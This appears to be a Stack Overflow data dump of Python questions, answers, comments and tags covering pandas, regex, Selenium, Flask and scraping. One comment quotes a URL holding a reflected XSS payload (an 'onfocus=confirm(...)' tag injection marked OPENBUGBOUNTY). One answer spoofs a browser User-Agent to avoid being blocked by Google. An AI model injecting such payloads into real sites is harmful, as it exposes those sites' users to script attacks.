has body: To print the size of each immediate subdirectory and the total size for the parent directory similar to du -bcs */ command: #!/usr/bin/env python3.6 """Usage: du-bcs &lt;parent-dir&gt;""" import os import sys if len(sys.argv) != 2: sys.exit(__doc__) # print usage parent_dir = sys.argv[1] total = 0 for entry in os.scandir(parent_dir): if entry.is_dir(follow_symlinks=False): # directory size = get_tree_size_scandir(entry) # print the size of each immediate subdirectory print(size, entry.name, sep='\t') elif entry.is_file(follow_symlinks=False): # regular file size = entry.stat(follow_symlinks=False).st_size else: continue total += size print(total, parent_dir, sep='\t') # print the total size for the parent dir where get_tree_size_scandir()[text in Russian, code in Python, C, C++, bash]. The size of a directory here is the apparent size of all regular files in it and its subdirectories recursively. It doesn't count the size for the directory entries themselves or the actual disk usage for the files. Related: why is the output of du often so different from du -b.
has comment: http://stackoverflow.com/comment/84315864
answers question: http://stackoverflow.com/q/48648907
type: Answer
type: AcceptedAnswer

http://stackoverflow.com/a/48766524
type: Answer
upvote count: 1
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/48766275
has body: The append function of a dataframe adds rows, not columns to the dataframe. Well, it does add columns if the appended rows have more columns than in the source dataframe. DataFrame.append(other, ignore_index=False, verify_integrity=False)[source] Append rows of other to the end of this frame, returning a new object. Columns not in this frame are added as new columns. I think you are looking for something like concat. Combine DataFrame objects horizontally along the x axis by passing in axis=1. &gt;&gt;&gt; df1 = pd.DataFrame([['a', 1], ['b', 2]], ... columns=['letter', 'number']) &gt;&gt;&gt; df4 = pd.DataFrame([['bird', 'polly'], ['monkey', 'george']], ... columns=['animal', 'name']) &gt;&gt;&gt; pd.concat([df1, df4], axis=1) letter number animal name 0 a 1 bird polly 1 b 2 monkey george

http://stackoverflow.com/a/48648616
downvote count: 0
upvote count: 8
type: Answer
answers question: http://stackoverflow.com/q/48648359
score: 8
has body: You are almost at the solution yourself! The only thing remaining is to convert the captured number into an int, and add 1 to it. Simple! So the relevant line of code becomes: result = re.sub(pattern, lambda exp: "-{}".format(int(exp.groups()[0]) + 1), line) Another slight modification that can be made is to change .groups()[0] to .group(1). You can learn more about group and its usage in the documentation. One last thing: It is always better to define your regex pattern as a raw string so as to avoid any future headaches.

http://stackoverflow.com/comment/84479452
score: 0
type: AnswerComment
type: Comment
has text: Remark: If you want the closing `"`- which I doubt - use `(?<="data":")[\w=]+"`.
comment on: http://stackoverflow.com/a/48739490

http://stackoverflow.com/comment/84432806
has text: If you got to where `acc` was defined, it would stay defined outside the loop. And you don't need to make it a list, you can just say `acc = (id, password)`. But your code as posted would raise a `NameError` - `pas` is not defined. Perhaps this isn't exactly what you're running?
comment on: http://stackoverflow.com/q/48716719
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48700893
favorite count: 0
tagged with: subprocess
has title: Run a series of external commands in a Python script
tagged with: python
has body: I'm trying to run external commands (note the plural) from a Python script. I've been reading about the subprocess module and use it. It works for me when I have a single or independent commands to run, whether I'm interested in the stdout or not. What I want to do is a bit different: I want something persistent. Basically the first command I run is to log in an application, then I can run some other commands which only work if I'm logged in. For some of these commands, I need the stdout. So when I use subprocess to login, it does it, but then the process is killed and next time I run a command with subprocess, I'm not logged in anymore... I just need to run a series of commands, like I would do it in a terminal. Any idea how to do that?
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3172470
score: 1
type: Question
has answer: http://stackoverflow.com/a/48701140
accepted answer: http://stackoverflow.com/a/48701140
upvote count: 1
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/84508647
has text: @StevenRumbalski Well, that's a bit more compact than my version. :) OTOH, my version copes with more than 2 lists, but it does assume that the input sublists have two items each.
type: AnswerComment
comment on: http://stackoverflow.com/a/48753082
type: Comment
score: 1

http://stackoverflow.com/a/48765494
has comment: http://stackoverflow.com/comment/84625142
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84625353
accepted answer of: http://stackoverflow.com/q/48763190
type: Answer
has comment: http://stackoverflow.com/comment/84625688
answers question: http://stackoverflow.com/q/48763190
has comment: http://stackoverflow.com/comment/84625811
score: 0
has comment: http://stackoverflow.com/comment/84625747
has body: If you print res.text, you can see that you are not getting the complete/correct data from the page. This is happening because Google is blocking the Python script. To overcome this, you can pass an User-Agent to make the script look like a real browser. Results with default User-Agent: &gt;&gt;&gt; URL = 'https://www.google.co.in/search?q=federer' &gt;&gt;&gt; res = requests.get(URL) &gt;&gt;&gt; '_KBh' in res.text False After adding custom User-Agent: &gt;&gt;&gt; headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'} &gt;&gt;&gt; res = requests.get(URL, headers=headers) &gt;&gt;&gt; '_KBh' in res.text True Adding the headers to your code, gives the following output (the first 3 links you were looking for): https://www.express.co.uk/sport/tennis/918251/Roger-Federer-Felix-Auger-Aliassime-practice https://sports.yahoo.com/breaks-lighter-schedules-help-players-improve-says-federer-092343458--ten.html http://www.news18.com/news/sports/rafael-nadal-stays-atop-atp-rankings-roger-federer-aims-to-overtake-1658665.html
has comment: http://stackoverflow.com/comment/84625468

http://stackoverflow.com/comment/84409283
has text: First thanks, unfortunately, I'm getting the same error using the mentioned super structure.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48705324
score: 0

http://stackoverflow.com/q/48741032
tagged with: selenium
answer count: 1
downvote count: 1
has title: How to use Selenium to click on the link in Python
has comment: http://stackoverflow.com/comment/84481513
has comment: http://stackoverflow.com/comment/84481641
has comment: http://stackoverflow.com/comment/84482318
has answer: http://stackoverflow.com/a/48741312
upvote count: 4
has comment: http://stackoverflow.com/comment/84481940
has comment: http://stackoverflow.com/comment/84482087
has comment: http://stackoverflow.com/comment/84481589
has comment: http://stackoverflow.com/comment/84481762
has comment: http://stackoverflow.com/comment/84481535
has body: I want to click on the number of likes. I tried to use driver.find_element_by_id('u_0_1h').click() and driver.find_element_by_xpath('//span[@class="_5p-9 _5p-l" and @id="u_0_1h"]') However, both give the error: no such element: Unable to locate element. How to solve this problem? 24K 2.9K <div class="_10tl" style="background: rgb(88, 144, 255)
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/48741312
tagged with: python
has comment: http://stackoverflow.com/comment/84481415
has comment: http://stackoverflow.com/comment/84481650
favorite count: 0
has comment: http://stackoverflow.com/comment/84481565
type: Question
has comment: http://stackoverflow.com/comment/84481558

http://stackoverflow.com/comment/84501167
has text: That’s what should be showing when you click on the Faculty link? Is it showing all courses?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48744155
type: AnswerComment

http://stackoverflow.com/comment/84414230
type: Comment
type: QuestionComment
has text: There is no parallelism issue here. The only possible problem is execution plan. But why don't you just load from root and filter?
comment on: http://stackoverflow.com/q/48704893
score: 0

http://stackoverflow.com/a/48797645
score: 3
upvote count: 3
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48797580
has body: Note the following: enumerate is an in-built counter, you don't need to increment it yourself. Your indentation was incorrect, so print was not being applied within the loop. enumerate has an optional start parameter, so you can start from 1 instead of 0. This is one solution. list1 = ['John', 'Maria',',','and','Danny', 'are','#','1','surfers','.'] for count, a in enumerate(list1, 1): print("{0}. {1}".format(count, a)) # 1. John # 2. Maria # 3. , # 4. and # 5. Danny # 6. are # 7. # # 8. 1 # 9. surfers # 10. .
type: Answer
accepted answer of: http://stackoverflow.com/q/48797580
downvote count: 0

http://stackoverflow.com/comment/84594910
type: Comment
type: QuestionComment
has text: added code above.
comment on: http://stackoverflow.com/q/48779342
score: 0

http://stackoverflow.com/comment/84306356
type: QuestionComment
comment on: http://stackoverflow.com/q/48654115
has text: The error is simple, it's just can't find those modules the test script imports
score: 0
type: Comment

http://stackoverflow.com/q/48740033
favorite count: 0
has comment: http://stackoverflow.com/comment/106545090
tagged with: python
answer count: 0
has comment: http://stackoverflow.com/comment/84484474
type: UnansweredQuestion
upvote count: 1
score: 1
tagged with: flask-restful
has title: how to POST Avro bytes to flask endpoint
type: Question
has body: problem: when a POST request is sent to a flask endpoint where a field consists of raw bytes (Apache Avro format), flask automatically attempts to decode the bytes into unicode which messes up the data. for example, when a POST request is sent via python test client as follows: # part of a python unittest data = { 'flavor': 'sweet', } schema = { 'name': 'SimpleData', 'type': 'record', 'fields': [{'name': 'flavor', 'type': 'string'}] } schema = json.dumps(schema) avro_bytes = to_avro_files(data, schema) simple_data = { 'avro_bytes': avro_bytes, 'weather': 'warm' } # NOTE the avro_bytes here is of type str, and content as follows (Pdb) avro_bytes 'Obj\x01\x04\x16avro.schema\xb4\x01{"fields": [{"type": "string", "name": "flavor"}], "type": "record", "name": "SimpleData"}\x14avro.codec\x08null\x00\x80\xb0\xef\xc1\xea\xdc\xbc\xb4!\x9c\xb0\xcd\x8eS\xafu\x02\x0c\nsweet\x80\xb0\xef\xc1\xea\xdc\xbc\xb4!\x9c\xb0\xcd\x8eS\xafu' headers['content-type'] = 'multipart/form' response = self.client.post('/my_api_endpoint', data=simple_data, headers=headers) by the time the request is received by the flask app, looking into the request body we have the following: (Pdb) request.form['weather'] u'warm' (Pdb) request.form['avro_bytes'] u'Obj\x01\x04\x16avro.schema\ufffd\x01{"fields": [{"type": "string", "name": "flavor"}], "type": "record", "name": "SimpleData"}\x14avro.codec\x08null\x00\ufffd\ufffd\ufffd\ufffd\ufffd\u073c\ufffd!\ufffd\ufffd\u034eS\ufffdu\x02\x0c\nsweet\ufffd\ufffd\ufffd\ufffd\ufffd\u073c\ufffd!\ufffd\ufffd\u034eS\ufffdu' where both args are converted to unicode, which is fine for 'weather', but 'avro_bytes' got invalide unicode characters such as u'\ufffd' which makes it impossible to encode it back to the original avro_bytes. In short, how to prevent flask app from trying to decode the avro_bytes into unicode? thanks!
tagged with: avro
downvote count: 0
tagged with: flask
tagged with: unicode

http://stackoverflow.com/comment/84620871
score: 0
type: AnswerComment
has text: Thanks Matthijs! I worked! I got the input as image. Now, output is still Multi-Array. Any idea how can I get a string in return? Like 'Hotdog' & 'NotHotdog' or any string...
comment on: http://stackoverflow.com/a/48787052
type: Comment

http://stackoverflow.com/q/48784487
answer count: 3
has comment: http://stackoverflow.com/comment/84705824
tagged with: css
has comment: http://stackoverflow.com/comment/84571942
favorite count: 0
tagged with: xpath
has comment: http://stackoverflow.com/comment/84570439
has answer: http://stackoverflow.com/a/48785605
upvote count: 2
accepted answer: http://stackoverflow.com/a/48785605
possible better answer: http://stackoverflow.com/a/48784646
has comment: http://stackoverflow.com/comment/84571035
tagged with: python
has comment: http://stackoverflow.com/comment/84574693
has comment: http://stackoverflow.com/comment/84570548
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/84571915
tagged with: selenium
has comment: http://stackoverflow.com/comment/84570883
has comment: http://stackoverflow.com/comment/84571827
type: Question
has comment: http://stackoverflow.com/comment/84570626
has title: Can't enter text in search field with Selenium
has comment: http://stackoverflow.com/comment/84572058
has comment: http://stackoverflow.com/comment/84570513
downvote count: 0
has answer: http://stackoverflow.com/a/48784646
has comment: http://stackoverflow.com/comment/84571326
has answer: http://stackoverflow.com/a/48784721
has body: Set up: I'm editing products in the online back-end of a webshop. I have to update prices of hundreds of products and would like to do so via a script. I've succesfully logged into the system using Selenium and navigated to the product management page which consists of a table containing the products. Problem: I can't seem to make selenium manipulate the table. There's an advanced search which seems to be living on the table. I've tried to enter a text in the search field both via XPath or CSS selector but nothing seems to work. Python executes the code without an error, but the text won't appear in the search field. By XPath: search_field = browser.find_element_by_xpath( '/html/body/table/tbody/tr[2]/td[4]/table[2]/tbody/tr/td/table/tbody/tr/td/table/tbody/tr[1]/td/div/input', ) search_field.clear() search_field.send_keys('brand') By CSS selector: search_field = browser.find_element_by_css_selector( '#Products > tbody > tr:nth-child(1) > td > div > input', ) search_field.clear() search_field.send_keys('brand') How do I get the text into the search field? The HTML of the search field is: HTML Search: Search Reset Advanced Type: Please select Accessories Back Cushion Down-Blend Foot Foot Finish Leather Care Mattress Mattress Upgrade Power Reclining Seat Cushion Sleeper Sofa Sheets Sleeper Stressless Promo Accessories Enso Foundation Stand Alone Mattresses Base Enso Pillows Ottoman Add Pillows Rug Swivel Storage Chaise Office Chair Casters Paragon Sleeper Sheets Power Sleeper Bernhardt Nailheads Power + Swivel Bernhardt Tables Nailheads Base Type Wooden Side Panel Model: Please select item Brand: Palliser Size: Please select item Customization Level: Please select Full Customization Little Customization No Customization Custom Customization Married Group Customization Married Sale Customization Partly In Stock Customization Complex Customization Not For Sale Back Type: Please select Tight-Back Attached Pillow-Back Loose Pillow-Back Furniture Type: Please select Fabric…

http://stackoverflow.com/q/48750055
has answer: http://stackoverflow.com/a/70976158
has answer: http://stackoverflow.com/a/66136980
has title: How to run a Jupyter notebook with Python code automatically on a daily basis?
has body: I have some Python code in a Jupyter notebook and I need to run it automatically every day, so I would like to know if there is a way to set this up. I really appreciate any advice on this.
has answer: http://stackoverflow.com/a/74107819
type: Question
has answer: http://stackoverflow.com/a/58155497
has answer: http://stackoverflow.com/a/68328248
has comment: http://stackoverflow.com/comment/84500470
has answer: http://stackoverflow.com/a/55942668
has comment: http://stackoverflow.com/comment/84500734
has comment: http://stackoverflow.com/comment/84505737
has answer: http://stackoverflow.com/a/53809515
has comment: http://stackoverflow.com/comment/84501139
has answer: http://stackoverflow.com/a/61257217
has comment: http://stackoverflow.com/comment/84501317
has comment: http://stackoverflow.com/comment/84500539
accepted answer: http://stackoverflow.com/a/52638216
has comment: http://stackoverflow.com/comment/84501469
has comment: http://stackoverflow.com/comment/84501550
downvote count: 1
upvote count: 44
tagged with: papermill
tagged with: scheduled-tasks
favorite count: 0
score: 43
has answer: http://stackoverflow.com/a/60714702
has answer: http://stackoverflow.com/a/49510178
has comment: http://stackoverflow.com/comment/84501678
has answer: http://stackoverflow.com/a/52638216
has answer: http://stackoverflow.com/a/76767951
tagged with: python
has comment: http://stackoverflow.com/comment/84501279
possible better answer: http://stackoverflow.com/a/49510178
tagged with: jupyter-notebook
type: AnsweredQuestion
answer count: 12
has comment: http://stackoverflow.com/comment/84501252

http://stackoverflow.com/comment/84679303
has text: I want to avoid hardcoding the file. All I want is a variable in which to store the path of a file I select from the window that opens (your solution does that - but unfortunately it messes up my GUI, because suddenly the file selection dialog appears when I run the program, not when I click the button). I'm suprised getting the file path, without touching the GUI, is so hard to do.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48772228
type: Comment

http://stackoverflow.com/q/48762810
tagged with: performance
has comment: http://stackoverflow.com/comment/84526329
score: 1
tagged with: memory
type: Question
tagged with: numpy
downvote count: 0
has comment: http://stackoverflow.com/comment/84526556
has comment: http://stackoverflow.com/comment/84527963
favorite count: 0
has title: Performance and memory of algorithmic implementations in Python
tagged with: c++
has comment: http://stackoverflow.com/comment/84526055
has comment: http://stackoverflow.com/comment/84566571
answer count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: python
has body: Python has many libraries like numpy and pandas that are implemented in lower levels which as I understand makes the performance as good as using the same libraries in the lower level languages. I am used to implementing algorithms that require high computations and high memory using C++ I can know exactly how much memory I am using and in terms of performance it is definitely faster than pure python. But if an algorithm is implemented in python where all the computation is done using libraries like numpy and pandas, how does the performance compare to implementing the same algorithm in C++?
has comment: http://stackoverflow.com/comment/84526161

http://stackoverflow.com/q/48774044
score: 0
tagged with: while-loop
has comment: http://stackoverflow.com/comment/84549652
duplicate of: http://stackoverflow.com/q/21122540
type: UnansweredQuestion
has body: I am attempting to write a simple Letter Grade Converter that takes an input from 0-100 and returns a letter grade. The End of the while statement asks for a y/n input to continue the conversion or end it. Entering Y seems to always return a name error that y has not been defined. print("Letter Grade Converter") choice = "y" while choice.lower() == "y": number = int(input("Enter numerical grade: ")) if number &gt; 87: letter = "A" elif number &gt; 79: letter = "B" elif number &gt; 66: letter = "C" elif number &gt; 59: letter = "D" else: letter = "F" print("Letter Grade: " + letter) choice = input("Continue (y/n)?: ") print ("Bye!") I have already defined choice in the beginning, is that what is causing a name error??
tagged with: python
has comment: http://stackoverflow.com/comment/84549723
answer count: 0
has title: NameError when inputting y/n prompt to end loop
has comment: http://stackoverflow.com/comment/84549571
type: Question
has comment: http://stackoverflow.com/comment/84549578
has comment: http://stackoverflow.com/comment/84550616
tagged with: nameerror

tree-traversal
tags question: http://stackoverflow.com/q/48790542
tag name: tree-traversal
type: Tag

http://stackoverflow.com/q/48655930
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84318832
has comment: http://stackoverflow.com/comment/84311106
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84309901
upvote count: 0
type: Question
has title: how to get output value using stdin and stdout in python?
has answer: http://stackoverflow.com/a/48676512
score: -2
tagged with: data-science
has comment: http://stackoverflow.com/comment/84310827
tagged with: python-2.7
downvote count: 2
has body: I've used the below code but I can't get the output. from scipy.stats import norm prob = norm.pdf(0.5, m, s) import sys sys.stdin.readline() print(sys.stdinreadin()) def input: print("Enter any value") I need to find the probability (prob) when I input a number. Any suggestions?
answer count: 1
favorite count: 0

http://stackoverflow.com/a/48768888
answers question: http://stackoverflow.com/q/48768632
has comment: http://stackoverflow.com/comment/84539299
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84539014
type: Answer
has comment: http://stackoverflow.com/comment/84581796
has comment: http://stackoverflow.com/comment/84539067
score: 1
accepted answer of: http://stackoverflow.com/q/48768632
has body: I think you need: s = (df.groupby(['AGE', 'GENDER'])['rating'] .apply(lambda x: x.value_counts().head(2)) .rename_axis(('a','b', 'c')) .reset_index() .groupby('b')['c'] .apply(list) .to_dict() ) print (s) {'M': ['R', 'PG'], 'F': ['PG13']}
upvote count: 1
has comment: http://stackoverflow.com/comment/84581847

http://stackoverflow.com/comment/84551486
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48774912
has text: The request module says it should be formated a certain way. http://docs.python-requests.org/en/master/user/advanced/#proxies Not sure if it can be accepted a different way though

http://stackoverflow.com/comment/84361229
has text: using the constructor is tempting, but I think that it won't be applicable in this case - `data.reshape(N, num_rows/N, num_cols)` essentially creates `N` slices by dividing the rows of `data` into `N` groups. Since armadillo stores data in column-major fashion, such slices won't be contiguous in memory, one needs to do some "reshuffling". The constructor approach would be applicable for something like `data.reshape(N, num_rows, num_cols/N)`, i.e., splitting the matrix in "column" space...
comment on: http://stackoverflow.com/a/48674919
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/q/48665703
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
score: 2
has title: Issue with Pandas replace when working with larger files
upvote count: 2
has answer: http://stackoverflow.com/a/48665792
linked to: http://stackoverflow.com/q/48541444
type: Question
has body: I am attempting to build a python program using Pandas that takes any organization of data and converts it into a standard format. This program also takes two columns of data and replaces that data with a specific code according what data is contained within each column. However, this seems to be working fine with small files, but the replace function does not work at all with larger files and does not give me an error message either. What could be going wrong here. Here is some sample code: data.columnheadder.replace("1|Generic input", "101", regex=True, inplace=True)
tagged with: pandas

http://stackoverflow.com/comment/84431074
comment on: http://stackoverflow.com/a/48715909
type: Comment
score: 0
type: AnswerComment
has text: `ast.literal_eval` raises an exception if the input isn't a valid Python datatype. It is good practice.

ndimage
tags question: http://stackoverflow.com/q/48751046
type: Tag
tag name: ndimage

http://stackoverflow.com/q/48675640
has comment: http://stackoverflow.com/comment/84352457
tagged with: statsmodels
has body: I dataframe with around 2 million records in it. I've provided a sample of the data below. I'm trying to fit a linear model to it, I've provided the code below. The issue I'm running in to is that it's taking forever. Does anyone have any tips that could speed it up? Even sampling just 20K records and trying to fit a model takes forever on my machine. My end goal is to try to see if there's any correlation between the categorical variables and the loan_amount. So I'm fitting a linear model and running anova. If anyone has an alternative suggestion that works better with large data, I'm all ears as well. Code: import statsmodels.api as sm from statsmodels.formula.api import ols sample_df['buyer']=sample_df['buyer'].astype('category') sample_df['seller']=sample_df['seller'].astype('category') sample_df['property_type']=sample_df['property_type'].astype('category') sample_df['lender']=sample_df['lender'].astype('category') sample_df['year_built']=sample_df['year_built'].astype('category') mod = ols('loan_amount~buyer', data=sample_df).fit() data: print sample_df.iloc[1:10] id property_address \ 1452006 577982716 10407 HILLGATE AVE BAKERSFIELD CA 93311 1368833 579792639 717 SANTA ISABEL DR SAN DIEGO CA 92114 1276131 577296028 NaN 3095127 585549018 2300 GREENBRIAR DR #C CHULA VISTA CA 91915 1032186 574454847 NaN 12094387 570361895 1253 CHAMBERLIN CT CAMPBELL CA 95008 8622975 567312492 9424 TWIN TRAILS DR #204 SAN DIEGO CA 92129 1214389 577538408 651 ASPEN MEADOWS WAY LINCOLN CA 95648 3155561 587054191 950 SHORE POINT CT #206 ALAMEDA CA 94501 buyer seller \ 1452006 BLAYLOCK,ANDREW L|WINTON,SARA A LENNAR HMS OF CA INC 1368833 VELAZQUEZ,VICTOR A|ODOM,SHANDEL G NaN 1276131 ASTON HOLDINGS LLC MOTE,JOHN C 3095127 KEOUGH,JOSEPH &amp; SANDRA KEOUGH,JOSEPH 1032186 HOMEQUEST INVESTMENTS INC ANDERSEN MONICA &amp; K TRUST 12094387 HALLOCK,KAREN A LIVING TRUST HALLOCK,KAREN A 8622975 MATAAFA,VALE P &amp; CHRISTINE L NaN 1214389 MONROE,COBY &amp; DESIRAE NaN 3155561 JACOBSEN,JESSICA L…
type: Question
has comment: http://stackoverflow.com/comment/84351899
has comment: http://stackoverflow.com/comment/84352823
score: 0
has title: fitting linear model on very large dataset
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/84350754
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/84507812
type: Comment
type: QuestionComment
has text: Try this: [`[^\w\s]+|\w+`](https://regex101.com/r/33BiQU/3)
comment on: http://stackoverflow.com/q/48753084
score: 1

http://stackoverflow.com/comment/84612371
type: QuestionComment
has text: FirefoxDriver(FD)andFirefoxBrowser(FB):When you called quit method it made use of JSONWireProtocol to send request to FD which sends the http requests to FB, and as soon as FB receives the response it will reply to the calling method which in this case is quit,
comment on: http://stackoverflow.com/q/48703734
score: 0
type: Comment

http://stackoverflow.com/a/48708600
downvote count: 0
score: 1
type: Answer
upvote count: 1
has body: You could make a list of values from the checkbuttons: values = [] for i in range(len(users_delprof)): v = IntVar() c = Checkbutton(master, text="Don't show this again", variable=v) c.var = v values.append(v) Now you can check the value by looking in the list values, and getting the value of a checkbutton with v.get().
answers question: http://stackoverflow.com/q/48707983

http://stackoverflow.com/comment/84370572
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48683211
score: 0
has text: @cswah You are welcome. Did the answer work?

deep-learning
tags question: http://stackoverflow.com/q/48675722
tags question: http://stackoverflow.com/q/48725179
tags question: http://stackoverflow.com/q/48675114
tags question: http://stackoverflow.com/q/48720388
tags question: http://stackoverflow.com/q/48670989
tags question: http://stackoverflow.com/q/48788991
tags question: http://stackoverflow.com/q/48733918
tags question: http://stackoverflow.com/q/48799502
tags question: http://stackoverflow.com/q/48748818
tags question: http://stackoverflow.com/q/48694436
tags question: http://stackoverflow.com/q/48686528
tags question: http://stackoverflow.com/q/48677852
tags question: http://stackoverflow.com/q/48647323
tags question: http://stackoverflow.com/q/48668031
tags question: http://stackoverflow.com/q/48771136
tags question: http://stackoverflow.com/q/48750358
tags question: http://stackoverflow.com/q/48715030
tags question: http://stackoverflow.com/q/48677128
tags question: http://stackoverflow.com/q/48733989
tags question: http://stackoverflow.com/q/48712947
tags question: http://stackoverflow.com/q/48716184
tags question: http://stackoverflow.com/q/48708073
tags question: http://stackoverflow.com/q/48749609
tags question: http://stackoverflow.com/q/48802603
tags question: http://stackoverflow.com/q/48796469
tags question: http://stackoverflow.com/q/48745785
type: Tag
tags question: http://stackoverflow.com/q/48758700
tags question: http://stackoverflow.com/q/48652568
tags question: http://stackoverflow.com/q/48714407
tags question: http://stackoverflow.com/q/48714919
tags question: http://stackoverflow.com/q/48712198
tags question: http://stackoverflow.com/q/48738370
tags question: http://stackoverflow.com/q/48677550
tags question: http://stackoverflow.com/q/48751075
tags question: http://stackoverflow.com/q/48740685
tag name: deep-learning
tags question: http://stackoverflow.com/q/48785552
tags question: http://stackoverflow.com/q/48702001
tags question: http://stackoverflow.com/q/48743054

http://stackoverflow.com/q/48669288
answer count: 2
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/84337286
linked to: http://stackoverflow.com/q/16265831
has title: Python Compare Datasets
has answer: http://stackoverflow.com/a/48669397
downvote count: 2
possible better answer: http://stackoverflow.com/a/48669360
upvote count: 1
has answer: http://stackoverflow.com/a/48669360
type: Question
accepted answer: http://stackoverflow.com/a/48669397
type: AnsweredQuestion
score: -1
has body: I have two csv files. One that has columns that look like this: 10.10.10.10 madeupdnsentry.domain.com and the other looks like this: 10.10.10.10 ABCD.EFGH.1234 I'd like to compare and combine the entries that match. So I could end up with: 10.10.10.10 madeupdnsentry.domain.com ABCD.EFGH.1234 What would be the best way to do that? It has about 1000 entries some will have matches some won't. Any help is appreciated.

http://stackoverflow.com/comment/84462781
comment on: http://stackoverflow.com/a/48730366
has text: @fedsikan That's trivial: `print 'searched=Y&log=1&skey=all&hid_pr_text=&hid_link_url=&edit=&sword=scrub%22%20autofocus%20onfocus=confirm(/OPENBUGBOUNTY/)%3E&x=0&y=0'.replace('&','&\n')`
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/48727365
has comment: http://stackoverflow.com/comment/84454352
answers question: http://stackoverflow.com/q/48727329
accepted answer of: http://stackoverflow.com/q/48727329
type: Answer
has comment: http://stackoverflow.com/comment/84454847
has body: You can do it like this: sum(bin(x).count('1') for x in test) That is, convert each byte in the bytearray to its binary string representation, and count the ones, then sum all of those counts. Then you can divide by the total number of bits: 8 * len(test).
has comment: http://stackoverflow.com/comment/84455133
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/48737312
upvote count: 1
has comment: http://stackoverflow.com/comment/84474367
answers question: http://stackoverflow.com/q/48737283
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84474375
has body: You can do: df = pd.DataFrame(np.random.rand(100,3)) df['CLASS']=[1]*50 + [0]*50

http://stackoverflow.com/a/48753379
answers question: http://stackoverflow.com/q/48752888
has comment: http://stackoverflow.com/comment/84509149
has comment: http://stackoverflow.com/comment/84509145
downvote count: 1
upvote count: 5
has comment: http://stackoverflow.com/comment/84509194
score: 4
has comment: http://stackoverflow.com/comment/84514676
has comment: http://stackoverflow.com/comment/84508917
has comment: http://stackoverflow.com/comment/84509035
has comment: http://stackoverflow.com/comment/93531844
has comment: http://stackoverflow.com/comment/84509618
type: Answer
has body: IIUC df.groupby((df.end.shift()-df.start).lt(0).cumsum()).agg({'chrom':'first','start':'first','end':'last','probability':'sum','read':'nunique'}) Out[417]: chrom start end probability read 0 chr1 1 20 2.97 2 1 chr1 30 40 0.75 1 More info create the group key (df.end.shift()-df.start).lt(0).cumsum() Out[418]: 0 0 1 0 2 0 3 1 dtype: int32

http://stackoverflow.com/a/48668781
accepted answer of: http://stackoverflow.com/q/48668317
type: Answer
has body: I'm interested in knowing how else to do this. But I personally use conda. You can create other Python environments without having to installing it first because it's included in the anaconda metapackage. If you look at my default system you see that it's only Python 2 available. $ cd /usr/bin/ | ls | grep python -rwxr-xr-x 1 root root 11224 Sep 1 2016 abrt-action-analyze-python -rwxr-xr-x 1 root root 7136 May 3 2017 python2.7 lrwxrwxrwx 1 root root 9 Dec 9 13:27 python2 -&gt; python2.7 lrwxrwxrwx 1 root root 7 Dec 9 13:27 python -&gt; python2 If you have conda installed then you can use the below to create a venv, activate it, and then you see you're using a different Python that's not installed on your file system. conda create -n py35 python=3.5 anaconda $ source activate py35 py35 $ python --version Python 3.5.3 :: Anaconda 4.4.0 (64-bit)
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48668317
type: AcceptedAnswer

http://stackoverflow.com/comment/113969466
has text: Thanks a bunch buddy
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48685741
type: Comment

http://stackoverflow.com/a/48763122
accepted answer of: http://stackoverflow.com/q/48763019
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48763019
upvote count: 1
type: AcceptedAnswer
has body: If you open up the variable named "PATH" you should be able to add the pip path to it. The paths are stored in this variable and separated by a semi-colon. Something like; ...;C:/Python34;C:/Python34/Scripts
type: Answer

http://stackoverflow.com/comment/84290440
type: QuestionComment
has text: What have you tried so far? Where do you struggle?
type: Comment
comment on: http://stackoverflow.com/q/48646495
score: 0

http://stackoverflow.com/comment/84572764
type: Comment
has text: And what about use `np.random.seed()` in your answer? ;)
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48785475

http://stackoverflow.com/comment/84338783
comment on: http://stackoverflow.com/q/48668531
score: 0
type: QuestionComment
has text: Hoo that's true, I had forgotten that Heroku was using Procfile (even if it's the root of Heroku..) https://devcenter.heroku.com/articles/procfile
type: Comment

http://stackoverflow.com/comment/84562500
has text: Maybe relevant: https://stackoverflow.com/questions/3170211/why-declare-unicode-by-string-in-python
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48780482

http://stackoverflow.com/comment/84408469
score: 0
comment on: http://stackoverflow.com/a/48704758
type: Comment
has text: Start with the difference of the first two elements?
type: AnswerComment

http://stackoverflow.com/q/48752978
answer count: 1
has answer: http://stackoverflow.com/a/48753553
has body: Using python and k8 API I want to get all configmaps in a namespace and read the data. Can I do this using Kubernetes API?
score: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/48753553
type: AnsweredQuestion
tagged with: kubernetes
favorite count: 0
has title: Kubernetes api python get all configmaps
type: Question
upvote count: 2
tagged with: python

